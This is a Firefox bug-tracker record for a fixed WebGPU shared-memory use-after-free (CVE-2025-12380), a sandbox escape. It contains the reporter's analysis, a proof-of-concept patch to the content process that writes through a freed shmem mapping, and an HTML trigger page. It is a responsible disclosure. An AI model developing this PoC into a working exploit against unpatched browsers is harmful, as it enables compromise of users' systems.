Closed Bug 1993113 (CVE-2025-12380) Opened 11 months ago Closed 11 months ago

Shared memory UAF in webgpu command (Sandbox escape)

Categories

(Core :: Graphics: WebGPU, defect, P1)

defect

Tracking

()

RESOLVED FIXED
146 Branch
Tracking Status
firefox-esr115 --- unaffected
firefox-esr140 --- unaffected
firefox143 --- wontfix
firefox144 + fixed
firefox145 + fixed
firefox146 + fixed

People

(Reporter: oskarlindberg348, Assigned: teoxoy)

References

(Depends on 1 open bug, Regression)

Details

(5 keywords, Whiteboard: [client-bounty-form][adv-main144.0.2+])

Attachments

(5 files)

writeup follows

Flags: sec-bounty?

Background

In webgpu we can send commands which are serialized/deserialized in rust.
those command pass through a C++ actor which uses the regular IPC in firefox.
It part of the WebGPU actor, which is used for drawing via webgpu API.

Vulnerability

When we the read messages from the C++ actor onto rust in ipc::IPCResult WebGPUParent::RecvMessages, we create two correlated arrays:
mTempMappings - temporary memory mappings, owner of the mappings.
shmem_mappings - array of slices (Views) onto the mappings.

 for (const auto& shmem : aShmems) {
    auto mapping = shmem.Map();

    auto* ptr = mapping.DataAs<uint8_t>();
    auto len = mapping.Size();
    ffi::WGPUFfiSlice_u8 byte_slice{ptr, len};
    shmem_mappings.AppendElement(std::move(byte_slice));

    // `aShmem` may be an invalid handle, however this will simply result in an
    // invalid mapping with 0 size, which we use safely.
    mTempMappings.AppendElement(Some(std::move(mapping)));
  }

after every IPC, we clean the temporary mappings:


  mTempMappings.SetCapacity(aShmems.Length());
...
  ffi::wgpu_server_messages(mContext.get(), nrOfMessages,
                            ToFFI(&aSerializedMessages), data_buffers,
                            shmem_mapping_slices);
  mTempMappings.Clear();

The temporary mapping can be moved to a longer lived array, by creating a new buffer, and mapping the shared memory on it:

   DeviceAction::CreateBuffer {
                buffer_id,
                desc,
                shmem_handle_index,
            } => {
                let has_map_flags = desc
                    .usage
                    .intersects(wgt::BufferUsages::MAP_READ | wgt::BufferUsages::MAP_WRITE);
                let needs_shmem = has_map_flags || desc.mapped_at_creation;

                let shmem_data =
                    unsafe { shmem_mappings.as_slice()[shmem_handle_index].as_slice() };

                let shmem_size = shmem_data.len();

                // If we requested a non-zero mappable buffer and get a size of zero, it
                // indicates that the shmem allocation failed on the client side or
                // mapping failed in the parent process.
                let shmem_allocation_failed = needs_shmem && (shmem_size as u64) < desc.size;
                if shmem_allocation_failed {
                    assert_eq!(shmem_size, 0);
                }

                // Don't trust the graphics driver with buffer sizes larger than our conservative max buffer size.
                if shmem_allocation_failed || desc.size > MAX_BUFFER_SIZE {
                    error_buf.init(ErrMsg::oom(), device_id);
                    self.create_buffer_error(Some(buffer_id), &desc);
                    return;
                }

                if needs_shmem {
                    unsafe {
                        wgpu_server_set_buffer_map_data(
                            self.owner,
                            device_id,
                            buffer_id,
                            has_map_flags,
                            0,
                            if desc.mapped_at_creation {
                                desc.size
                            } else {
                                0
                            },
                            shmem_handle_index,
                        );
                    }
                }

                let (_, error) = self.device_create_buffer(device_id, &desc, Some(buffer_id));
                if let Some(err) = error {
                    error_buf.init(err, device_id);
                }
            }

which will call:


extern void wgpu_server_set_buffer_map_data(
    WGPUWebGPUParentPtr aParent, WGPUDeviceId aDeviceId, WGPUBufferId aBufferId,
    bool aHasMapFlags, uint64_t aMappedOffset, uint64_t aMappedSize,
    uintptr_t aShmemIndex) {
  auto* parent = static_cast<WebGPUParent*>(aParent);

  auto mapping = std::move(parent->mTempMappings.ElementAt(aShmemIndex));
  MOZ_ASSERT(mapping.isSome());

  auto data = WebGPUParent::BufferMapData{
      std::move(*mapping), aHasMapFlags, aMappedOffset, aMappedSize, aDeviceId,
  };

  parent->mSharedMemoryMap.insert({aBufferId, std::move(data)});
}

As we can see this inserts into the mSharedMemoryMap map in the WebGPUParent class.

however, shmem_mappings does not take into account changes in the state of the mapping.
so if we destroy an handle by:

  1. Create a buffer and map a shared memory onto it.
  2. destroy the buffer, which will call
          Message::DestroyBuffer(id) => {
           wgpu_server_dealloc_buffer_shmem(global.owner, id);
           global.buffer_destroy(id)
       }

calling wgpu_server_dealloc_buffer_shmem destroys the handle, leaving dangling mappings.

Now, since, shared memory can also be used for buffer/texture writing through the queue:

 Message::QueueWrite {
            device_id,
            queue_id,
            data_source,
            action,
        } => {
            let data = match data_source {  // [1]
                QueueWriteDataSource::DataBuffer(data_buffer_index) => {
                    data_buffers[data_buffer_index].as_slice()
                }
                QueueWriteDataSource::Shmem(shmem_handle_index) => { 
                    shmem_mappings.as_slice()[shmem_handle_index].as_slice() // [2]
                }
            };
            let result = match action { // [3]
                QueueWriteAction::Buffer { dst, offset } => {
                    global.queue_write_buffer(queue_id, dst, offset, data)
                }
                QueueWriteAction::Texture { dst, layout, size } => {
                    global.queue_write_texture(queue_id, &dst, data, &layout, &size)
                }
            };
            if let Err(err) = result {
                error_buf.init(err, device_id);
            }
        }
  1. Matching the data source.
  2. Getting matched as shmem, we select a shared memory mapping by the index specified by the command
  3. doing the action with the source data.

This will cause a UAF on shared memory which we unmapped.

Reproduction

  1. Apply the following patch:
diff --git a/dom/webgpu/Buffer.cpp b/dom/webgpu/Buffer.cpp
index 0c3a72ee6fa0..be0badc1ed47 100644
--- a/dom/webgpu/Buffer.cpp
+++ b/dom/webgpu/Buffer.cpp
@@ -6,6 +6,7 @@
 #include "Buffer.h"
 
 #include "Device.h"
+#include "Queue.h"
 #include "ipc/WebGPUChild.h"
 #include "js/ArrayBuffer.h"
 #include "js/RootingAPI.h"
@@ -125,6 +126,23 @@ already_AddRefed<Buffer> Buffer::Create(Device* aDevice, RawId aDeviceId,
   RawId bufferId = ffi::wgpu_client_create_buffer(child->GetClient(), aDeviceId,
                                                   &desc, shmem_handle_index);
 
+  ffi::wgpu_client_drop_buffer(child->GetClient(), bufferId);
+
+  // Oskar, now we'll create a second buffer, that is created with a new handle,
+  ipc::MutableSharedMemoryHandle handle2 =
+      ipc::shared_memory::Create(desc.size);
+  ipc::SharedMemoryMapping mapping2 = handle2.Map();
+  auto shmem_handle_index2 = child->QueueShmemHandle(std::move(handle2));
+
+  RawId bufferId2 = ffi::wgpu_client_create_buffer(
+      child->GetClient(), aDeviceId, &desc, shmem_handle_index2);
+
+  ffi::wgpu_queue_write_buffer_via_shmem(
+      child->GetClient(), aDeviceId, aDevice->GetQueue().get()->GetId(),
+      bufferId2, 0,
+      shmem_handle_index);  // Writing to buffer using the removed buffer's
+                            // shmem index, which is unmapped by now.
+
   RefPtr<Buffer> buffer = new Buffer(aDevice, bufferId, aDesc.mSize,
                                      aDesc.mUsage, std::move(mapping));
   buffer->SetLabel(aDesc.mLabel);
diff --git a/gfx/wgpu_bindings/src/client.rs b/gfx/wgpu_bindings/src/client.rs
index 5e93812ea6d4..ea0e1fac13f0 100644
--- a/gfx/wgpu_bindings/src/client.rs
+++ b/gfx/wgpu_bindings/src/client.rs
@@ -376,7 +376,7 @@ impl MessageQueue {
         //     some messages that can have arbitrary size (ex. `CreateShaderModule`) most
         //     have a static size.
         // If we ever violate the limits, the worst that can happen is that we trigger asserts.
-        if self.nr_of_queued_messages >= 4 * 1024 {
+        if self.nr_of_queued_messages >= 4 { // Oskar - only needed 4
             let (nr_of_messages, serialized_messages) = self.flush();
             let serialized_messages = ByteBuf::from_vec(serialized_messages);
             unsafe { wgpu_child_send_messages(child, nr_of_messages, serialized_messages) };

  1. Host the html trigger file:
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>WebGPU Single Mapped Buffer Write</title>
    <script src="https://cdn.tailwindcss.com"></script>
    <style>
        .container { max-width: 600px; }
        pre { background-color: #f0f4f8; border: 1px solid #cbd5e1; border-left-width: 4px; border-left-color: #4f46e5; }
    </style>
</head>
<body class="bg-gray-100 min-h-screen flex items-center justify-center p-4">
    <div class="container bg-white p-6 rounded-xl shadow-2xl space-y-6">
        <h1 class="text-3xl font-extrabold text-indigo-700">WebGPU Buffer Initialization</h1>
        <p class="text-gray-600">This script initializes a single WebGPU buffer and writes data to it using the **<code>mappedAtCreation: true</code>** flag.</p>
        
        <div id="status-card" class="p-4 rounded-lg text-sm transition-all duration-300">
            <p id="status-message" class="font-semibold text-gray-800">Initializing WebGPU...</p>
        </div>

        <div class="space-y-2">
            <h2 class="text-xl font-bold text-gray-700">Input Data (CPU)</h2>
            <pre id="input-data-display" class="p-3 rounded-lg"></pre>
        </div>
        
        <div class="space-y-2">
            <h2 class="text-xl font-bold text-gray-700">Buffer Status</h2>
            <p id="buffer-status" class="p-3 bg-green-100 text-green-800 rounded-lg text-sm font-mono">Buffer state: Uninitialized</p>
        </div>
    </div>

    <script type="module">
        // Constants
        const BUFFER_SIZE = 4 * Float32Array.BYTES_PER_ELEMENT; // 16 bytes for 4 floats
        const INPUT_ARRAY = new Float32Array([12.3, 45.6, 78.9, 10.1]);

        // DOM elements
        const statusCard = document.getElementById('status-card');
        const statusMessage = document.getElementById('status-message');
        const inputDataDisplay = document.getElementById('input-data-display');
        const bufferStatus = document.getElementById('buffer-status');

        // Helper function to update status
        function updateStatus(message, isSuccess = true) {
            statusMessage.textContent = message;
            if (isSuccess) {
                statusCard.className = 'p-4 rounded-lg text-sm bg-indigo-100 text-indigo-700 transition-all duration-300';
            } else {
                statusCard.className = 'p-4 rounded-lg text-sm bg-red-100 text-red-700 transition-all duration-300';
            }
        }

        async function initializeWebGPU() {
            try {
                // Check for WebGPU support
                if (!navigator.gpu) {
                    throw new Error("WebGPU is not supported on this browser.");
                }

                const adapter = await navigator.gpu.requestAdapter();
                if (!adapter) {
                    throw new Error("No WebGPU adapter found.");
                }
                const device = await adapter.requestDevice();

                // Display input data
                inputDataDisplay.textContent = `new Float32Array([${INPUT_ARRAY.join(', ')}])`;
                
                updateStatus("WebGPU device connected. Creating and mapping buffer...", true);
                bufferStatus.textContent = "Buffer state: Creating and Mapping...";

                // ----------------------------------------------------------------
                // 1. Create the buffer and map it at creation
                // When mappedAtCreation is true, the buffer is immediately CPU-owned (mapped).
                // The usage flag MAP_WRITE is required, and COPY_SRC is added so the
                // GPU can read this data later (standard practice for staging buffers).
                // ----------------------------------------------------------------
                const myMappedBuffer = device.createBuffer({
                    label: "My Initial Write Buffer",
                    size: BUFFER_SIZE,
                    usage: GPUBufferUsage.MAP_WRITE | GPUBufferUsage.COPY_SRC,
                    mappedAtCreation: true,
                });

                // bufferStatus.textContent = "Buffer state: MAPPED (CPU-owned)";
                // updateStatus("Buffer created and mapped at creation.", true);

                // // ----------------------------------------------------------------
                // // 2. Write data to the buffer memory
                // // getMappedRange() returns the underlying ArrayBuffer accessible by JavaScript.
                // // ----------------------------------------------------------------
                // const mappedRange = myMappedBuffer.getMappedRange();

                // // Use a Float32Array view to safely write the data
                // new Float32Array(mappedRange).set(INPUT_ARRAY);
                
                // updateStatus("Data successfully written to the mapped buffer memory.", true);

                // // ----------------------------------------------------------------
                // // 3. Unmap the buffer
                // // The buffer must be unmapped so that the GPU can access the written data.
                // // ----------------------------------------------------------------
                // // myMappedBuffer.unmap();

                // bufferStatus.textContent = "Buffer state: UNMAPPED (GPU-owned, ready for use)";
                // updateStatus("Initialization complete! Buffer is unmapped and ready for GPU processing.", true);
                
                // The buffer now holds the data and can be used in compute or render pipelines.

            } catch (error) {
                const errorMessage = `WebGPU Error: ${error.message}`;
                updateStatus(errorMessage, false);
                bufferStatus.textContent = "Buffer state: Failed";
                console.error(errorMessage, error);
            }
        }

        initializeWebGPU();
        // Run the main function when the window loads
        // window.onload = initializeWebGPU;
    </script>
</body>
</html>

Windbg stack trace

Attached is an image of the UAF which happen when we memcpy in the write_buffer operation.

Implications

This is firefox latest and cross-platform.
As of right now, it's the same as other CanavsManager derived bugs, and can be handled by browser on all platforms.

Group: firefox-core-security → gfx-core-security
Component: Security → Graphics: WebGPU
Product: Firefox → Core
Attachment #9518812 - Attachment description: windbg stack access violation stack trace → windbg access violation stack trace
Severity: -- → S1
Flags: needinfo?(ttanasoaia)
Priority: -- → P1

Marking s2 instead of s1 since s1 is for when we have already decided that the patch needs a chemspill.

Severity: S1 → S2
Priority: P1 → --
Assignee: nobody → ttanasoaia
Status: NEW → ASSIGNED
Flags: needinfo?(ttanasoaia)

This was introduced by Bug 1968122, affected versions are 142, 143 and 144; possibly 145 depending when the patch lands.

Attached file (secure) —
Keywords: regression
Priority: -- → P1
Regressed by: 1968122

Set release status flags based on info from the regressing bug 1968122

Comment on attachment 9519229 [details]
(secure)

Security Approval Request

  • How easily could an exploit be constructed based on the patch?: Unsure but it would need a compromised content process.
  • Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: No
  • Which branches (beta, release, and/or ESR) are affected by this flaw, and do the release status flags reflect this affected/unaffected state correctly?: beta,release
  • If not all supported branches, which bug introduced the flaw?: Bug 1968122
  • Do you have backports for the affected branches?: No
  • If not, how different, hard to create, and risky will they be?: The patch would be the same.
  • How likely is this patch to cause regressions; how much testing does it need?: Unlikely
  • Is the patch ready to land after security approval is given?: Yes
  • Is Android affected?: No
Attachment #9519229 - Flags: sec-approval?

Comment on attachment 9519229 [details]
(secure)

Beta/Release Uplift Approval Request

  • User impact if declined/Reason for urgency: sec-high vulnerabiliity
  • Is this code covered by automated tests?: Yes
  • Has the fix been verified in Nightly?: Yes
  • Needs manual test from QE?: No
  • If yes, steps to reproduce:
  • List of other uplifts needed: None
  • Risk to taking this patch: Low
  • Why is the change risky/not risky? (and alternatives if risky): The fix uses C++ std shared pointers to extend the lifetimes of some shmem mappings used by WebGPUParent. The patch is relatively localized, and shouldn't result in a healthy Firefox process holding the mappings alive for very long; they are always freed when we finish processing the PWebGPU::Messages IPDL message.
  • String changes made/needed: none
  • Is Android affected?: No
Attachment #9519229 - Flags: approval-mozilla-release?
Attachment #9519229 - Flags: approval-mozilla-beta?

Is it accurate that this bug is marked as csectype-sandbox-escape? The issue mentioned is a UAF but it requires a compromised content process to be used (which the description of the bug doesn't outline).

Flags: needinfo?(continuation)

Comment on attachment 9519229 [details]
(secure)

Is it accurate that this bug is marked as csectype-sandbox-escape? The issue mentioned is a UAF but it requires a compromised content process to be used (which the description of the bug doesn't outline).

Yes, sandbox escapes are when a compromised content process can exploit a more privileged process to escape the sandbox.

Approved to land and request uplift

Flags: needinfo?(continuation)
Attachment #9519229 - Flags: sec-approval? → sec-approval+

Backed out for causing build bustages @ nsTArray.h

Flags: needinfo?(ttanasoaia)
Flags: needinfo?(ttanasoaia)

Ugh. Do we need to use MOZ_DECLARE_RELOCATE_USING_MOVE_CONSTRUCTOR here?

https://searchfox.org/firefox-main/rev/644f0db17749554fe23a45b43e77e61f42acdfd9/xpcom/ds/nsTArray.h#589-594

//
// Normally elements are copied with memcpy and memmove, but for some element
// types that is problematic.  The nsTArray_RelocationStrategy template class
// can be specialized to ensure that copying calls constructors and destructors
// instead, as is done below for JS::Heap<E> elements.
//
Group: gfx-core-security → core-security-release
Status: ASSIGNED → RESOLVED
Closed: 11 months ago
Resolution: --- → FIXED
Target Milestone: --- → 146 Branch
Attachment #9519229 - Flags: approval-mozilla-release?
Attachment #9519229 - Flags: approval-mozilla-beta?
Summary: Shared memory UAF in webgpu command (Sandbox esacpe) → Shared memory UAF in webgpu command (Sandbox escape)

:jimb, did you mean to clear the uplift request flags?

Flags: needinfo?(jimb)

firefox-beta Uplift Approval Request

  • User impact if declined: sec-high vulnerabiliity
  • Code covered by automated testing: yes
  • Fix verified in Nightly: yes
  • Needs manual QE test: no
  • Steps to reproduce for manual QE testing:
  • Risk associated with taking this patch: low
  • Explanation of risk level: The fix uses C++ std shared pointers to extend the lifetimes of some shmem mappings used by WebGPUParent. The patch is relatively localized, and shouldn't result in a healthy Firefox process holding the mappings alive for very long; they are always freed when we finish processing the PWebGPU::Messages IPDL message.
  • String changes made/needed: none
  • Is Android affected?: no
Attachment #9521130 - Flags: approval-mozilla-beta?
Attached file (secure) —

firefox-release Uplift Approval Request

  • User impact if declined: sec-high vulnerabiliity
  • Code covered by automated testing: yes
  • Fix verified in Nightly: yes
  • Needs manual QE test: no
  • Steps to reproduce for manual QE testing:
  • Risk associated with taking this patch: low
  • Explanation of risk level: The fix uses C++ std shared pointers to extend the lifetimes of some shmem mappings used by WebGPUParent. The patch is relatively localized, and shouldn't result in a healthy Firefox process holding the mappings alive for very long; they are always freed when we finish processing the PWebGPU::Messages IPDL message.
  • String changes made/needed: none
  • Is Android affected?: no
Attachment #9521131 - Flags: approval-mozilla-release?
Attached file (secure) —
Flags: needinfo?(jimb)
Attachment #9521130 - Flags: approval-mozilla-beta? → approval-mozilla-beta+
QA Whiteboard: [sec] [uplift] [qa-triage-done-c146/b145]
Flags: sec-bounty? → sec-bounty+
Attachment #9521131 - Flags: approval-mozilla-release? → approval-mozilla-release+
Whiteboard: [client-bounty-form] → [client-bounty-form][adv-main144.0.2+]
Attached file advisory.txt —
Alias: CVE-2025-12380
Depends on: 1997772
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: